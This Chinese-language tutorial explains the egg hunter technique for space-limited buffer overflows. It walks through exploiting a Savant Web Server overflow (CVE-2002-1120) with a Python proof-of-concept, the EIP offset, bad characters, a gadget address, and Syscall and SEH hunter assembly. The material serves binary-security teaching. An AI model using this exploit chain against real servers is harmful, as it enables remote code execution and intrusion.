这是一种在二进制漏洞利用中常用的技术,它本身并非漏洞,而是解决特定利用难题的“桥梁”。举个例子,当你成功触发了一个缓冲区溢出漏洞,但能写入并控制的缓冲区(称为区域 B)空间非常有限,而完整的 shellcode 却存放在内存的另一处(称为区域 A),两者之间可能隔着茫茫未知的内存区域。传统的通过固定偏移跳转 shellcode 的方式在这种情况下就会失效,因为你无法精确知道 shellcode 的具体位置。
Egg Hunter 技术正是为了解决这类问题而生。设想一个程序的简化模型如下:
// 这个缓冲区称为 A区域
// 这个全局变量负责接收完整的数据
char *Full_Requests_Store;
void LogError(char *input_string){
// 设置一个小的变量
// 这个缓冲区称作 B区域
char small_buffer[64];
// 漏洞点:strcpy 导致栈溢出
strcpy(small_buffer, input_string);
}
char *recv_from_network() {} // 这个函数不重要,仅用于模拟接收网络数据
int main(){
// 操作系统分配了一块巨大的堆内存,完整保存了攻击者的所有数据(包含 shellcode)
Full_Requests_Store = recv_from_network();
// LogError 导致栈溢出,但 small_buffer 只有 64 字节
LogError(Full_Requests_Store);
}
在这个例子里,溢出发生在 LogError 函数的 small_buffer(B区域)。尽管我们发送了大量数据(比如10000字节的“A”),但只有开头的部分(比如100字节)能真正覆盖到 B区域的栈空间并造成崩溃,剩余的数据则安全地存放在 Full_Requests_Store 指向的 A区域(如堆内存)中。问题在于:如何在仅被控制的、空间有限的 B区域里,编写一段代码,让它能找到并跳转到远处 A区域里的 shellcode?这就是 Egg Hunter 的使命。
它的核心原理可以这样形象化理解:Egg Hunter 是一段非常精悍的“搜索代码”,我们在完整的 shellcode 前放置一个独特的“蛋”(The Egg),比如标记 w00tw00t。然后,让 Egg Hunter 代码遍历内存,寻找这个“蛋”。一旦找到,就跳转到“蛋”后面的位置,从而执行 shellcode。
Egg Hunter 的精髓在于其遍历内存的方式。它不能直接读取所有内存地址,因为访问未分配或不可读的内存会直接导致程序崩溃。因此,它利用了系统调用 (Syscall) 或异常处理机制 (SEH) 来安全地探测内存页是否可读,从而实现稳健的搜索。
详细原理可以参考这篇经典论文:https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
由于 Egg Hunter 通常用于可用空间受限的场景,所以它的代码必须设计得尽可能短小。同时,扫描速度也至关重要——Egg Hunter 越快找到目标,应用程序就越不容易出现长时间无响应或异常崩溃。
实战:分析 Savant Web Server 缓冲区溢出漏洞 (CVE-2002-1120)
漏洞链接:CVE-2002-1120
https://www.cvedetails.com/cve/CVE-2002-1120/
Savant Web Server 3.1 及更早版本存在一个缓冲区溢出漏洞。特别的是,这个溢出并非由单纯的超长请求触发,而是在进行 URL 解码(%xx 解码)时才会发生。当 HTTP 请求路径中出现 % 字符时,服务器会尝试解码后续的十六进制数字,并将解码后的字节写入一个固定大小的栈缓冲区,由于没有边界检查,导致了溢出。这个场景非常契合我们研究 Egg Hunter 技术的背景。
Fuzz 测试与初步分析
首先编写一个简单的 PoC 进行测试:
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 260
httpMethod = b"GET /"
inputBuffer = b"\x41" * size
httpEndRequest = b"\r\n\r\n"
buf = httpMethod + inputBuffer + httpEndRequest
print("Sending evil buffer...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
将程序附加到 WinDbg 运行并发送 PoC,可以观察到 EIP 被 A (0x41) 覆盖。但查看栈顶 (esp) 会发现一个有趣的现象。

进一步分析 esp 附近的内存。可以看到,esp 指向的地址存放着我们发送的数据,而 esp+4 的位置则是一个指向我们完整 Payload 的指针地址。


这正好对应了概念部分举的例子:Full_Requests_Store 指向完整数据(A区域),而溢出发生在小的栈缓冲区(B区域)。
定位 EIP 偏移与坏字符检测
接下来需要精确控制 EIP。首先使用二分法定位偏移:
inputBuffer = b"\x41" * 130
inputBuffer += b"\x42" * 130
通过反复测试,最终确定 EIP 的偏移在 253 字节处。

确认偏移后,进行坏字符检测。由于这是一个 Web 服务,需要特别注意 URL 编码和 HTTP 协议相关的字符。经过测试,以下字符被确定为坏字符:\x00(空字节)、\x0a(换行)、\x0d(回车)、\x25(百分号,用于 URL 编码触发漏洞,但其本身在特定位置会干扰数据)。

寻找跳板与构造初始执行流
由于目标程序非常简单,没有加载太多系统 DLL,我们需要从程序本身的代码中寻找可用的指令片段(gadget)。我们的目标是跳转到 esp+4 所指向的地址(那里存放着我们的完整数据)。理想情况是找到 jmp [esp+4] 这样的指令,但在小程序中很难找到。
退而求其次,我们寻找 pop eax; ret 这样的指令序列(操作码 58 c3)。在程序地址范围内搜索,可以找到多个地址,例如 0x00418674。
s -[1]b 00400000 00452000 58 c3 # 搜索 pop eax; ret
0x00418674
0x0041924f
...
利用这个地址,并注意 EIP 之后默认是 \x00,我们可以只写入地址的低三位字节,利用程序自动补齐高位的 \x00,从而绕过坏字符限制。
修改 PoC:
httpMethod = b"GET /"
inputBuffer = b'A' * 253
inputBuffer += b'\x74\x86\x41' # 0x00418674 的字节序,只写3字节
httpEndRequest = b"\r\n\r\n"
在 WinDbg 中验证,成功跳转到 pop eax; ret 指令,并随后返回到 esp+4 指向的地址。

分析此时的内存,发现从返回地址开始,有约 24 字节的可控空间,并且请求方法部分(GET /)的结构必须保持,“/”字符必须存在。我们可以利用这部分空间和请求方法字段写入一些初始指令。
实现 Egg Hunter:Syscall 方式
现在,我们需要在有限的空间内写入 Egg Hunter 代码。首先尝试经典的 Syscall Hunter。它的原理是利用 Windows 的系统调用 NtAccessCheckAndAuditAlarm(或其他类似调用)来安全探测内存。调用时,如果传入的指针指向不可读内存,内核会返回错误状态(如 STATUS_ACCESS_VIOLATION,对应 0xC0000005 或 AL=5),而不是使进程崩溃。Hunter 根据返回值判断是否跳过该内存页。
关键点:系统调用号 (syscall number) 随 Windows 版本变化。下面是一个针对特定系统(如 Windows XP)的 Hunter 示例,它包含了硬编码的调用号:
CODE = (
# 初始化 EDX = 0
" xor edx, edx ;"
" loop_inc_page: "
# 页对齐
" or dx, 0x0fff ;"
" loop_inc_one: "
" inc edx ;"
" loop_check: "
# 保存地址
" push edx ;"
# XP 调用号 (此处是硬编码的,可能不适用于其他系统)
" push 0x2 ;"
" pop eax ;"
# 触发系统调用
" int 0x2e ;"
# 检查结果
" cmp al, 0x05 ;"
# 恢复地址
" pop edx ;"
# 如果是访问违规(0x05),跳过这一页
" je loop_inc_page ;"
# 检查是否为 Egg 标记 ‘w00tw00t’ (0x74303077)
" is_egg: "
" mov eax, 0x74303077 ;"
" mov edi, edx ;"
" scasd ;"
" jnz loop_inc_one ;"
" scasd ;"
" jnz loop_inc_one ;"
# 找到 Egg,跳转到其后的 Shellcode
" matched: "
" jmp edi ;"
)
将生成的 Hunter 代码放入我们的漏洞利用中,并在 shellcode 前加上标记 w00tw00t。但直接使用上述代码在 Win10 上会失败,因为系统调用号已改变。我们需要查询当前系统的正确调用号。
在调试器中查看 ntdll!NtAccessCheckAndAuditAlarm:

可以看到,在作者的系统上,调用号是 0x1C6。但直接将 0x1C6 放入代码会产生坏字符 \x00。我们可以用一个小技巧绕过:使用负数。-0x1C6 的补码是 0xFFFFFE3A,没有 \x00 字节。
# 准备系统调用号 0x1C6 (Win10),使用负数法绕过 \x00
" mov eax, 0xfffffe3a ;"
" neg eax ;" # EAX 现在为 0x1C6
使用修改后的 Hunter 代码,我们就能成功在 Win10 系统上运行。最终,Egg Hunter 会遍历内存,找到我们预设的 w00tw00t 标记,并跳转到紧随其后的 shellcode。

实现 Egg Hunter:SEH 方式
Syscall Hunter 的缺点是依赖特定版本的系统调用号,通用性差。一种更优雅、跨版本兼容的方案是 SEH (Structured Exception Handling) Hunter。
它的思路非常巧妙:
- Hunter 主动在栈上构造一个自定义的异常处理记录,并将其注册为当前线程的异常处理器(通过修改
FS:[0])。
- Hunter 直接尝试读取当前遍历的内存地址。
- 如果地址可读,则检查是否为“蛋”,继续流程。
- 如果地址不可读(访问违例),CPU 会触发异常。由于我们注册了 SEH,控制权会转到我们自定义的异常处理函数。
- 这个处理函数非常简单:它修改异常上下文(
ContextRecord),将指令指针 (EIP) 设置到“跳过本内存页”的代码处,并告知系统异常已处理。
- 系统恢复执行时,就会跳过这个无效页,继续扫描下一页内存。
这种方式完全避免了系统调用号的问题,利用 Windows 固有的异常处理机制,通用性极强。以下是 SEH Hunter 的核心汇编逻辑概念:
CODE = (
" start: "
" jmp get_seh_address ;" # 动态获取 SEH 处理函数地址
" build_exception_record: "
" pop ecx ;" # ECX = 异常处理函数地址
" mov eax, 0x74303077 ;" # Egg 标记 ‘w00t’
" push ecx ;" # 推入 Handler 地址
" push 0xffffffff ;" # 指向前一个 SEH 记录(这里用 -1 占位)
" xor ebx, ebx ;"
" mov dword ptr fs:[ebx], esp ;" # 将当前 ESP 注册为新的 SEH 记录头
# ... 后续为 Hunter 扫描和 SEH Handler 代码 ...
" get_seh_address: "
" call build_exception_record ;" # 调用并获取返回地址(即 Handler 地址)
)
使用 SEH Hunter 替换之前的 Syscall Hunter,同样可以成功定位并执行 shellcode,且不受 Windows 版本限制。

总结
Egg Hunter 是一种在受限溢出场景下极为有效的技术。通过本次对 Savant Web Server 漏洞 (CVE-2002-1120) 的详细分析,我们实践了从漏洞复现、偏移定位、坏字符分析到最终利用 Egg Hunter(包括 Syscall 和 SEH 两种方式)完成漏洞利用的全过程。这项技术深刻体现了在安全研究中,绕过限制、将不可能变为可能的创造性思维。对于深入理解 缓冲区溢出 和 Windows 系统底层机制大有裨益,是渗透测试 与二进制安全研究者的必备技能。如果你想深入探讨更多底层细节,欢迎在云栈社区 的计算机基础板块交流。